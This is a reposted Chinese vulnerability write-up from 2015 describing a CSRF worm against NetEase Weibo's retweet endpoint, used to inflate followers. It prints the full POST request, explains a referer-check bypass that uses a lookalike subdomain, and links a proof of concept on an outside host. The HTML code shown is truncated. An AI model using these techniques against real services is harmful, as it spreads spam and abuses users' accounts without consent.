我是如何绕过网易防御、利用CSRF蠕虫继续刷粉丝-自学php网

我是如何绕过网易防御、利用CSRF蠕虫继续刷粉丝

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] 1.既然是CSRF蠕虫，肯定是发微博的地方出了问题！接口在这里：POST http://t.163.com/share/retweet HTTP/1.1Host: t.163.comProxy-Connection: keep-aliveContent-Length: 439Origin: http://t.163.comUs......

1.既然是CSRF蠕虫，肯定是发微博的地方出了问题！接口在这里：

POST http://t.163.com/share/retweet HTTP/1.1

Host: t.163.com

Proxy-Connection: keep-alive

Content-Length: 439

Origin: http://t.163.com

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11

Content-Type: application/x-www-form-urlencoded

Accept: */*

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3

Cookie: 略

status=%E6%AC%A7%E8%81%94%E5%B0%8F%E7%BB%84%E6%9C%AB%E8%BD%AE%E6%AC%A1%E6%97%A5%E7%BB%BC%E8%BF%B0%3A32%E5%BC%BA%E4%BA%A7%E7%94%9F+%E7%83%AD%E5%88%BA%E5%A4%A7%E8%83%9C%E5%87%BA%E5%B1%80http%3A%2F%2Fsports.163.com%2F11%2F1216%2F06%2F7LCJG29T00051F6Q.html&in_reply_to_status_id=&source=%E7%BD%91%E6%98%93%E4%BD%93%E8%82%B2&link=http%3A%2F%2Fsports.163.com%2F11%2F1216%2F06%2F7LCJG29T00051F6Q.html&imageUrl=&method=click&keyfrom=share163.share

2.上述链接即为发微博的另一个接口（实际上应该是转发微博），简单说下参数，status参数即为发布的微博内容，这里是必填项，我可以把csrf蠕虫的载体做为链接发在这里，欺骗用户点击！参数in_reply_to_status_id默认不填，source选填项，表示微博从哪里转发过来的，link不知，不填也木关系，method和keyfrom默认即可！

3.这里实际上是做referer判断的，即referer必须为163.com或者空，其他域不行。这意味着我是不是只能本地单机玩了啊！哈哈，经过长时间的测试，发现验证referer的正则表达式写的有问题！只是判断了域名是否包含有163.com，而不是验证根域名为163.com。那么我这里可以构造子域名t.163.com.test.av作为蠕虫传播的载体服务器，即可绕过。

漏洞证明：4.非常感谢@xsjswt提供的子域名，我的POC在下面这个链接：

http://t.163.com.xsjswt.3322.org/admin/sessiondata/csrf.html

一并将代码拷贝如下：

<html>

<head>

</head>

<body>

</form>

document.fxx.submit();

</script>

</body>

</html>